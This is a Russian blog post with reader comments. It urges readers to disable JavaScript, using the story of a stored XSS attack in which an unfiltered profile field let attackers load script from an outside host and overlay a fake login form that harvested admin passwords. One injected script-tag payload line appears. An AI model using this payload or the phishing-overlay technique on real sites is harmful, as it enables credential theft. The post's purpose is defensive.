Безопасность: еще раз о необходимости привязывать ишака

[nataraj]

Вот в предыдущем посте некоторые сказали что-то вроде "зачем отключать JavaScript, если я на адресную строку в браузере каждый раз смотрю, прежде чем вводить пароль".

А вот зачем

Краткий пересказ: В одном весьма популярном сайте на ранних этапах его становления была допущена совсем мелкая ошибка. Они к стандартным параметрам пользователя, которые были в используемом движке, добавили еще один свой, диктуемый предметной областью сайта, и стали выводить его вместе с другой юзерской информацией в каждом посте и комментарии. Нюанс в том, что информация из базы данных попадала в браузер без какой-то фильтрации, и если в это поле запихнуть html-тег то в бразуер будет попадать как html-тег. Вроде бы не особо страшно... Но теперь следите за руками:

В оное поле запихиваем <script src="http://tsq.od"></script>, по оному адресу отдаем файл с ява-скриптом, который создает новый <div>перекрывающий весь экран, рисует на нем форму ввода пароля полностью совпадающую с той, которая есть на сайте, но только результат введенный в эту форму отправляется на сайт злоумышленника. Ну и для полного счастья, этот скрипт ставит куку, чтобы одному и тому же пользователю этот фальшивый экран не показывался бы дважды. Далее пишем в несколько популярных тем комментарий от имени пользователя с троянским кастомным полем и ждем.

Итого юные исследователи насобирали несколько сотен паролей, среди которых оказались пароли пользователей с полным админским доступом...

Отдельно прошу отметить: в адресной строке браузера показывался правильный адрес.

Выводы:

1. Если вы хотите повысить уровень безопасности работы с каким-либо сайтом (например вы в нем супер-модератор или админ) -- отключайте для этого сайта скрипты.

2. Если вы разработчик сайта -- не поленитесь, приложите усилия для того, чтобы ваша разработка была достаточно юзабельна с выключенным JavaScript. Чтобы те, кто заботится о своей безопасности, могли бы это сделать. В любом коде есть баги. Отключение JavaScript делает эксплуатацию части из них невозможной... Оно того стоит.

И опять ссылки:
NotScript для Хрома: https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn
NoScript для FireFox'а: https://addons.mozilla.org/ru/firefox/addon/noscript/

Comments

[shaplov.livejournal.com]

Если ссылка на статью уйдет из кеша яндекса -- пинайте, у меня есть приныканная копия...

[vitus_wagner]

Это всё борьба с ветряными мельницами. Пользователь хочет, чтобы оно мерцало и переливалось, и оно будет мерцать и переливаться, к каким бы уязвимостям это ни приводило.

Я уж скорее поверю в то, что можно научить веб-разработчиков правильно санитизировать user-provided content, чем в то, что кто-то серьезно будет бороться за работу без JS.


А сейчас еще пошла мода на мобильные приложения-клиенты для сайтов - там вообще весело будет с уязвимостями - там можно унести у юзера его записную книжку, перевести деньги со счета у оператора куда хочешь с помощью платных SMS-ок, заснять внутренности его дома видеокамерой etc.

[alexkuklin.livejournal.com]

откуда у html-браузера доступ к контактам?
прямой доступ к звонилке и sms уже сейчас считается именно что уязвимостью и должен быть откручен при очередном апдейте.

[vitus_wagner]

Не у HTML-браузера а у устанавливаемого на смартфон приложения для работы с сайтом. Причем не просто устаннавливаемого, а предустановленного производителем телефона и неудаляемого без нарушения гарантии.

[slobin.livejournal.com]

Самое мерзкое в современных сайтах не то, что они не работают без яваскрипта, а то, что по ним не очевидно, работают ли они без яваскрипта. Когда сайт пишет "я без яваскрипта работать не буду, включи!", это хороший, годный сайт. А когда я даже не знаю, насколько доступный мне функционал урезан по сравнению с пользователями без NoScript (причём урезан не по уму, а так случайно написалось) -- вот это засада. :-(

... Ну как ты в приличном обществе покажешь на пальцах число 132? ...

[kosenko-danila.livejournal.com]

Терпеть не могу сайты, не работающие без JS.